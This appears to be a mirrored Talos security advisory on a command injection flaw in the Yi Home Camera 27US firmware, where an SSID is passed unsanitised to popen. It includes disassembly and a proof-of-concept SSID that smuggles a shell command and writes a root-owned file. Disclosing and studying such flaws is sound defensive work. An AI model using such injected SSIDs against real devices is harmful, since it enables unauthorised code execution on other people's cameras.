Lucene search

K
talosTalos IntelligenceTALOS-2018-0580
HistoryOct 31, 2018 - 12:00 a.m.

Yi Technology Home Camera 27US cloudAPI SSID Code Execution Vulnerability

2018-10-3100:00:00
Talos Intelligence
www.talosintelligence.com
503

5.4 Medium

CVSS2

Attack Vector

ADJACENT_NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:A/AC:M/Au:N/C:P/I:P/A:P

8 High

CVSS3

Attack Vector

ADJACENT

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

38.2%

Summary

An exploitable code execution vulnerability exists in the cloud OTA setup functionality of Yi Home Camera 27US 1.8.7.0D. A specially crafted SSID can cause a command injection, resulting in code execution. An attacker can cause a camera to connect to this SSID to trigger this vulnerability. Alternatively, an attacker can convince a user to connect their camera to this SSID.

Tested Versions

Yi Technology Home Camera 27US 1.8.7.0D

Product URLs

<https://www.yitechnology.com>

CVSSv3 Score

8.8 - CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

Yi Home Camera is an IoT home camera sold globally. The 27US version is one of the newer models sold in the US, and is the most basic model out of the Yi Technology camera lineup. It still, however, includes all the functionality that one would expect from an IoT device: the ability to view the video from anywhere, offline and subscription-based cloud storage, and ease of setup.

During the network configuration stage of the setup, the Yi camera prompts the user to show it a QR code that is generated by the app running on the user’s phone. The user types in the SSID and password of the network that they wish for the camera to connect to, and then the app communicates to https://api.us.xiaoyi.com, generating a QR code containing the SSID and an encrypted password of the access point. Once the camera is connected to the internet, it then proceeds to sync up with the application, and also notifies the Yi servers that it is online, with the following cloudAPI command:

[./cloud][4/9/15:6:9:476]: cmd = /home/app/cloudAPI -c 138 
-url 	"https://api.us.xiaoyi.com/v4/ipc/on_line" 
-key &lt;redact&gt; 
-keySec &lt;redact&gt;
-uid &lt;redact&gt;
-version 1.8.7.0D_201708091510 
-ssid "maSSID" 	
-mac B0:D5:9D:11:22:33
-ip 10.10.69.69
-signal_quality 100 
-packetloss 0 
-p2pconnect 0 
-p2pconnect_success 0 
-tfstat 10000

That ends up generating a request that looks like the following:

req_info=https://api.us.xiaoyi.com/v4/ipc/on_line?hmac=&lt;redact&gt;	%3D&seq=9&uid=&lt;redact&gt;&password=&lt;redact&gt;&
version=1.8.7.0D_201708091510&model=0&port=0&
mac=B0:D5:9D:11:22:33&packetloss=0&p2pconnect=0&
p2pconnect_success=0&tfstat=10000&timestamp=1523286369&
ext_info=%7B%22p2p_encrypt%22%3A%22true%22%2C%22
ssid%22%3A%22maSSID%22%2C%22mac%22%3A%22B0%3AD5%3A9D	%3A11%3A22%3A33%22%2C%22ip%22%3A%2210.10.69.69
%22%2C%22signal_quality%22%3A%22100%22%7D

More interesting, though, is how the above command is put together in the first place. Examining the cloud binary that utilizes this cloudAPI shows us the following string containing “on_line”:

aSC138UrlSV4Ipc DCB "%s -c 138 -url ",0x22,"%s/v4/ipc/on_line",0x22," -key %s -keySec"
.rodata:0001A12C                                         ; DATA XREF: webapi_do_login+1F4↑o
.rodata:0001A12C                                         ; .text:off_10BBC↑o
.rodata:0001A12C                 DCB " %s -uid %s -version %s -ssid ",0x22,"%s",0x22," 
.rodata:0001A12C		DCB “-mac %s -ip %s "
.rodata:0001A12C                 DCB "-signal_quality %d -packetloss %d -p2pconnect %d 
				-p2pconnect_success %d -tfstat %d ",0

This command string gets sent directly to popen and eventually evaluated with a sh -c &lt;cmd&gt;:

// cloud.c: webapi_do_login@~0x10864
MOV     R1, #0x800      ; maxlen
LDR     R2, =aSC138UrlSV4Ipc ; "%s -c 138 -url \"%s/v4/ipc/on_line\" -k"...
LDR     R3, =aHomeAppCloudap ; "/home/app/cloudAPI"
BL      snprintf		//[1]
STR     R6, [SP,#0x15F8+also_key_sec]
LDR     R0, =aCloudC    ; "cloud.c"
LDR     R1, =aWebapiDoLogin_0 ; "webapi_do_login"
LDR     R2, =0x856
LDR     R3, =aCmdS      ; "cmd = %s\n"   
BL      dump_string	//[2]
MOV     R4, #3
[…]
MOV     R1, #0x800
MOV     R3, R`1
MOV     R2, #0
MOV     R0, R5
BL      memset_s
MOV     R1, R5 	
MOV     R2, #0x800
MOV     R3, #0xA
MOV     R0, R6
BL      path_to_bin_sh  ; (cmd, res_dst, res_len, timeout?) //[3]

At [1], we see the command being built on the stack, with R0 pointing to [stackbase -0x1028]. At [2], the cause of the previous log message above is shown, and at [3], the resulting call to path_to_bin_sh is given, with R0 once again pointing to [stackbase-0x1028]. And for brevity, path_to_bin_sh does just go straight into popen:

EXPORT path_to_bin_sh
path_to_bin_sh

CMP     R1, #0
CMPNE   R0, #0
STMFD   SP!, {R4-R10,LR}
MOV     R5, R1
SUB     SP, SP, #0x90
MOVEQ   R4, #1
MOVNE   R4, #0
BEQ     loc_151B0 ; not taken

LDR     R1, =(aSyncFinishRegi+0x14) ; modes
MOV     R9, R2
MOV     R6, R3
MOV     R8, R0
BL      popen

Thus, if someone connects their own camera, or convinces someone else to connect their camera to an SSID with any sort of command injection strings, it will simply be evaluated as a command. If we have an SSID named TotesLegit$(echo asdf&gt;/lol.txt), the resulting on_line packet sent to https://api.us.xiaoyi.net is as such:

req_info=https://api.us.xiaoyi.com/v4/ipc/on_line?hmac=&lt;redact&gt;	%3D&seq=9&uid=&lt;redact&gt;&password=&lt;redact&gt;&
version=1.8.7.0D_201708091510&model=0&port=0&
mac=B0:D5:9D:11:22:33&packetloss=0&p2pconnect=0&
p2pconnect_success=0&tfstat=10000&timestamp=1523286369&
ext_info=%7B%22p2p_encrypt%22%3A%22true%22%2C%22
ssid%22%3A%22TotesLegit%22%2C%22mac%22%3A%22B0%3AD5%3A9D	%3A11%3A22%3A33%22%2C%22ip%22%3A%2210.10.69.69
%22%2C%22signal_quality%22%3A%22100%22%7D

//decoded ext_info:
ext_info={"p2p_encrypt":"true","
ssid":"TotesLegit","mac":"B0:D5:9D:11:22:33","ip":"10.10.69.69”
,"signal_quality":"100"}

The command injection is not included, as it has been evaluated and ran as a command:

~ # ls -la /lol.txt && cat /lol.txt
-rw-r--r--    1 root     root            10 Apr  9 15:06 /lol.txt
asdf

It should be noted that SSID’s are limited in length (32 bytes), and that the camera does not have wget or curl or netcat natively on the box, so options are limited for the actual payload. Enterprising individuals might take advantage of the cloudAPI binary’s network functionality to gain a foothold, however.

Timeline

2018-05-01 - Vendor disclosure
2018-09-03 - Vendor submitted build to Talos for testing
2018-09-05 - Talos confirmed issue patched
2018-10-22 - Vendor released new firmware
2018-10-31 - Public release

5.4 Medium

CVSS2

Attack Vector

ADJACENT_NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:A/AC:M/Au:N/C:P/I:P/A:P

8 High

CVSS3

Attack Vector

ADJACENT

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

0.001 Low

EPSS

Percentile

38.2%